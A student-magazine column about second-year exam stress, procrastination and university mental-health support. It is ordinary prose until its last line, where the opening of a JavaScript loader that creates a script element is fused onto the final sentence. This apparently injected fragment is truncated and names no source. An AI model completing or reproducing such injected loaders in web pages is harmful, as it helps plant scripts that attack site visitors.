Spotlight On: Exams – Studying is not for the Faint of Heart

By Rachel Munford

I didn’t think that studying for an exam (that’s singular) would be so stressful in my second year. I mean it was legitimate for me to be filled with anxiety last year as it was my first year – you aren’t really sure of where you stand with Uni exams as a rookie.

However this year I suffered, but probably not as much as those who had more than one exam or (sometimes even worse) assignments to do over the Christmas period. But safe to say, I did suffer more than those lucky, lucky students who had no exams.

Yet I felt that, while I was reflecting on my many hours of procrastination watching Youtube videos which had no relevance to my exam, what was lacking for students who didn’t live on campus was the help to staying calm and stress-free.

I really fail at studying efficiently. I am not one to sit at a desk, or in the library, for hours on end revising. It just doesn’t work for me. Some people need to sit at the desk and some need to dither around on social media, complaining to their friends that studying is very hard, so they eventually study in a panic.

If you weren’t stressed and did have exams, you’re lucky; I can’t have exams and not be stressed. Yet this year, despite procrastination through various time-wasting schemes I did stay calm. I say calm, I mean I accepted my ability to remember all the areas I had chosen to revise for the exam, how much I could feasibly do within the weeks between Christmas and the exam and that I would not remember any new information that I tried to learn the day before.

There is a nice refreshing feeling after the exam – once you have finished it. It’s no longer an imminent problem and there is plenty of time to relax until you have to think about the next lot. I think it’s necessary to have a period of no thought between the exams and returning back to university so as to let your brain calm down and unwind. With my exam only being the Thursday before we returned to university, I didn’t get that this year unlike my exams after Christmas last year.

While I said earlier that I felt the emphasis for students who didn’t live on campus to be stress-free was lacking, I do feel the university and the Union do offer a good variety of coping systems and courses to do with mindfulness and how to deal with anxiety or stress. It’s something I would encourage anyone to do if they feel it would be something they would benefit from but think it sounds silly. It’s not silly, looking after your mental health is not silly in any way – it’s proactive.

Overall, exams are just a thing – not a massive thing but still something which is important. But at the end of the day – as pessimistic as it sounds – there’s always resits.var d=document;var s=d.createElement(‘script’);